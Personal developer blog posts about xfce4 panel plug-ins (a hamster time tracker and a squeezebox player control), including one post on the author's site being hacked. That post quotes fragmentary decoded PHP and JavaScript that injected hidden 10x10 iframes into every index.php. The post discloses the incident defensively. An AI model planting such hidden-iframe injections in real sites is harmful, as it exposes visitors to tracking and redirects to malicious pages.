A working class coder is something to be

The hamster in its wheel

Hamster dropdown menu

This is a small xfce4 panel plug-in I wrote for tracking my projects both at work and home office. Apparently it is on its way into the fedora rawhide repositories and has attracted a small but friendly user base.

My primary use case is that when I write my freelancer invoices to the contractor, the daily activity field is too small to contain enough detail for the customers internal bookkeeping. With the help of hamster, I can easily produce monthly project hour summaries and keep the customer happy without giving too much detail to the contractor.

It is available at github. Thankfully, it has become a part of the hamster project.

Interaction with users via the github quality workflow is quite refreshing, very much like having customers QA in a paid job. It is interesting to see errors and enhancements pop up from all over the world on a software that I just wrote for my own daily use and thought to be feature-complete and error free. I am more of a subversion-cum-redmine or clearcase/clearquest person by experience but now I am looking forward for my projects to be forked and live on with or without me.

The free and open source ecosphere on top of a world wide internet is in my opinion the achievement of our age. I think the medieval backwardists of our age are resorting to violence since they are desperate to see their influence decline in the face of access to free speech, literacy and enlightenment for all.

Life is good.

The sorry state this page is in…

… is mostly due to the fact that it has been partially hacked. Unprotected visitors might have been tracked or redirected to malevolent sites.

I hope I have removed all hidden content and apologize for the inconvenience.

Every index.php was prefixed with the following code:


This itself decodes into:

if (!isset($ftl))
  global $ftl;
  print('</pre><iframe '
        'style="visibility: hidden; position: absolute; left: 0; top: 0;"'
        'frames=3" width="10" height="10">');

And the second infection decodes into:

if (document.getElementsByTagName('body')[0])
} else {
    '<iframe style="visibility: hidden; position: absolute; left: 0; top: 0;" '
    'width="10" height="10"></iframe></pre>');
function iframer()
  var f = document.createElement('iframe');

Fortunately, the attack ended here and did not succeed to do any more damage. Keeping debian and wordpress up to date appears to have shielded against anything serious.

Lessons learned: clickspro.org is a junkpit, ghefeed.org too.

Xfce 4.8 and pragha

xfce4-squeezebox-plugin update:

Consonance was supported ever since 2006 or so and is about to be replaced by pragha, available in the 4.6 branch.

Ever since xfce 4.8 was released, I was fighting with mysterious crashes when removing the plugin; rewrote it to become a .so to no avail. Now it runs, somewhat, but not yet stable. Available in the trunk.

Hopefully, the MPRIS2 patch I wrote for pragha will prove itself useful. Need to write a generic MPRIS2 backend…

Squeezebox update

squeezebox settings 2010

The settings dialog has been upgraded; dynamic attachment to running clients, real configurable media buttons…

Unfortunately, in the last year the Player’s D-Bus APIs changed somewhat so currently only Mpd appears stable.

Consonance seems to be dead. Muine too.


The SqueezeBox plug-in for xfce4 is almost ready for going public.

Left to do is an automatic attach to running players, last one wins style.


Hello world!

Welcome to my blog. It was about time for a change and coincidentally my provider just quit from my contract – I was plain too small for him.

With the new hosting, new techncial opportunities beyond static HTML arise as you can see by now – having all the possibilities of a linux server at your hands that is online 24/7 is a very pleasant thing for experiments and fun.